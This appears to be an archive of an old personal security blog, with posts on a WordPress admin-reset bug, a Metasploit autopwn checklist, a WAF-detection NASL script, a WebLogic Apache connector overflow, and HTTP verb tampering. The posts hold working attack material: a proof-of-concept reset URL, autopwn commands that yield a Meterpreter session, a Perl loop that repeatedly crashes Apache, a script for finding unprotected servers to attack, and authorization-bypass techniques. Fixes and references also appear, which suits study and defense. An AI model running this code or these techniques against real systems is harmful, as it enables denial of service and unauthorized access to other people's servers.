Moved Again!

Just because I can't make up my mind. Blog has moved to http://infointox.net

WordPress <= 2.8.3 Admin Reset

None of this is new its just me trying to understand it. This vulnerability only resets the admin password, which is then emailed to the admin. Someone could potentially DOS the admin with a small script to continually reset the password but overall this is just an annoyance. This is mainly due to a lack of input validation on the $key variable. How this seems to work is WordPress is using a black list method to check to see if the key is empty and it also has no checks to see if the key is empty before the query is ran.



Proof of Concept:
http://DOMAINNAME/wp-login.php?action=rp&key[]=

Why does it reset admin?

When $key is passed an array[] it is treated an empty string. This will in turn match every user within the database. The first user just happens to be the admin, which WordPress will reset.

$user = $wpdb->get_row(
$wpdb->prepare(
"SELECT * FROM $wpdb->users
WHERE user_activation_key = %s", $key
)
);

The Issue.
It looks like empty() will treat an array as an empty string and not return an error.

wp-login.php.
if ( empty( $key ) )
return new WP_Error('invalid_key', __('Invalid key'));

The Fix.
WordPress has released a fix which is shown below. This is still a black list approach and only adds an extra check for the array.

if ( empty( $key ) || is_array( $key ) )
return new WP_Error('invalid_key', __('Invalid key'));

This is still using a black list method and I also think some improvements can be made before the query statement. I believe some blame can be put on PHP by not throwing an exception to an empty array. When time permits I would like to play around with other things that could be passed to $key. I'm still exploring other possibilities of this not just being a password reset that is sent to the admin. If anyone has some ideas, I would love to hear.


References:

http://core.trac.wordpress.org/changeset/11798
http://archives.neohapsis.com/archives/fulldisclosure/2009-08/0114.html
http://us3.php.net/manual/en/function.empty.php
http://isc.sans.org/diary.html?storyid=6934

Metasploit Ubuntu Checklist

So I just got a new computer and have been setting up my work environment. One thing I always forget is getting metasploit running with autopwn. I only seem to do this when I either get a new machine or rebuild, which is not that often. I feel like once you have autopwn going, metasploit is at a good point for exploiting and developing.

This post is going to be a quick reference list of getting the framwork up and going. At the time of this post it was Ubuntu 9.04 and Metasploit 3.2 .

1. Get Metasploit:
I always get metasploit through subversion. Do it anyway you like.

$sudo apt-get install subversion
$svn co http://metasploit.com/svn/framework3/trunk/

2. Install Ubuntu debs:
Add any others that you think are necessary.

$apt-get install ruby rubygems sqlite libsqlite3-ruby libopenssl-ruby nmap

3. Create Metasploit DB:
In the example below, mine was already created.

msf > db_driver sqlite3
[*] Using database driver sqlite3
msf > db_create
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: /home/asdf/.msf3/sqlite3.db
msf > db_connect
[*] Successfully connected to the database
[*] File: /home/asdf/.msf3/sqlite3.db
msf >

4. Run autopwn:
This is all at the very basic level, just testing if it works.

msf > db_nmap 192.168.1.2
msf > db_autopwn -e -p -b
msf > sessions

Active sessions
===============

Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.1.1:60781 -> 192.168.1.2:15786

msf > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

Like I said this is all basic and just a quick checklist to get it going. I have never wrote this down because I always felt like I would remember. Anyways if anyone else has some stuff they add or do to get their base framework going, I would love to hear about it.

References:
http://metasploit.com/
http://en.wikibooks.org/wiki/Metasploit/UsingMetasploit

URL Change

Well I don't know why but I decided to drop kpan1c.blogspot.com in favor of informationintoxication.blogspot.com. My guess is I will change it again. Sorry for any of the confusion, I need to just buy a domain for this...

WAF Checker

During a large application assessment, I noticed in a cookie that it was load balanced. I gathered as many unique cookies I could and noticed the application was spread across many web servers. This allows room for errors concerning a WAF. Why not attack a server that the WAF is not protecting?

On this note I wrote a quick little NASL script to find a server that is not protected by the WAF. The only trick to this script is understanding what response you get once the WAF is triggered. Every WAF I have worked with all block the User Agent "nikto" by default. To find the response it gives I just set my User Agent to "nikto" and make a standard GET request. If this doesn't work you can call your basic XSS stuff and it will usually trigger the WAF.

Once you can get the WAF triggered you just have to find something different in the response for the script to look for. In my case it was just "error". Now just run the script and see if any WAF's are down.

#Create tcp socket to webserver port
socket_timeout = 5;
soc = open_sock_tcp(80);

#grab host ip of current box with socket open
hostip=get_host_ip();

#if socket was created
if (soc) {

#create string and send
str = string("GET /index.html HTTP/1.0\r\nUser-Agent:Nikto\r\n\r\n");
send(socket:soc, data:str);

#grab data from the socket
page = recv(socket:soc, length:4096);

#grep for the line with error or whatever waf refturns
error = egrep(pattern:"error*", string : page);

#if grep returns value
if(error){
display("WAF ON ",hostip,"\n");
}
else{
display("WAF OFF ",hostip,"\n");
}

#close socket
close(soc);
}

I found this script pretty handy for pen-testing and monitoring.

On the monitoring side you can just throw it in a cron job and have it email you if any WAF's were found to be off.

On the pen-testing side its a lot easier attacking an app with out those pesky WAF's

BEA Weblogic Apache Connector Remote Buffer Overflow

This post was delayed in release due to sensitivity.

This vulnerability was a pretty fun one just because it affected so many people and it was just so simple to do.

This vulnerability is your standard stack based overflow. This particular overflow occurs in mod_wl which is a WebLogic connector for Apache. The overflow occurs when you send a long POST request for a .jsp. I started to look at KingCopes code but it just didn't seem to work in my environment. So based off his code for the DOS, I wrote the one below to test with, nothing fancy.

use IO::Socket;
use strict;


my $port = $ARGV[1];
my $host = $ARGV[0];

my $dos=0;

while(1) {

 if ($dos eq 1) {
  "Server is down\n";
          exit;
 }

 $a = "A" x 8000;
 my $sock = IO::Socket::INET->new(PeerAddr => $host,
                                         PeerPort => $port,
                                         Proto => 'tcp');
 print $sock "POST /index.jsp $a\r\n\r\nHost: localhost\r\n\r\n";
 
 read($sock,$_,100); 
 print "=>" . $_ . "<=\n\n";
        if (!($_ =~ /Server/)) {
                        $dos = 1;
                }
 close($sock);        
}

The code above will seg fault Apache. The endless loop is needed because Apache recovers so quickly and it was an easy way to perform the DOS(took a couple of minutes). I have not had much time but I would like to explore this further and start debugging to see if code can be executed in a Linux environment.

Fix:
After all of my testing the workaround that was recommended by Oracle does work. They have not released a patch at this time.

With the workaround in place I even tried the DOS by sending a POST of 3999 to not trigger the LimitRequestLine. Apache handled the large repeating requests like a champ.

Workaround in apache conf:
LimitRequestLine 4000


http://www.milw0rm.com
http://cve.mitre.org
http://www.frsirt.com

HTTP Verb Tampering

While this is really nothing that new, it has recently resurfaced with some interesting uses. Aspect Security has published a white paper "Bypassing Web Authentication and Authorization with HTTP Verb Tampering" that has brought this all to light.

In the past, I would usually use verb tampering for your XSS or SQLi attacks. Authorization bypass really never crossed my mind, this prompted me read up a bit. After some reading, It was kind of a "hit my head" type of moment. I highly recommend reading the white paper but here is a high level overview as I see it.

Verb Tampering for authorization bypass can be as simple as substituting a GET with a HEAD. For example:

In Java EE you can restrict access to a location with web.xml.

<security-constraint>
   <web-resource-collection>
      <url-pattern>/admin/*</url-pattern>
      <http-method>GET</http-method>
      <http-method>POST</http-method>
   </web-resource-collection>
   <auth-constraint>
      <role-name>admin</role-name>
   </auth-constraint>
 </security-constraint>

This restricts access to /admin and the listed http-methods. The thing that is not mentioned if you actually change the verb to something different such as HEAD, it will actually allow you access. You can easily do this with Webscarab by intercepting the request.





Many people think by explicitly stating what methods to block that it won't allow the others , when in fact if they did not state any methods it would block all. The methods that are listed are the only ones that are protected. Funny side note: I was actually looking at BEA docs for something totally unrelated and I happen to see their recommendation on how to secure folders with web.xml, and their way was vulnerable to the HEAD attack.


Another interesting find is the use of arbitrary verbs. In php and java this is allowed which means that we can throw it a verb that does not even exist. The application will then take the request and then convert it to a GET. This also bypasses the security restrictions.

More Reading:
http://jeremiahgrossman.blogspot.com/2008/06/what-you-need-to-know-about-http-verb.html
http://www.webappsec.org/lists/websecurity/archive/2008-06/msg00022.html
http://www.webappsec.org/lists/websecurity/archive/2008-05/msg00072.html
http://www.aspectsecurity.com/documents/Bypassing_VBAAC_with_HTTP_Verb_Tampering.pdf
http://www.securitycompass.com/exploit_me/accessme/accessme-0.1.shtml
http://www.aspectsecurity.com/documents/Aspect_VBAAC_Bypass.swf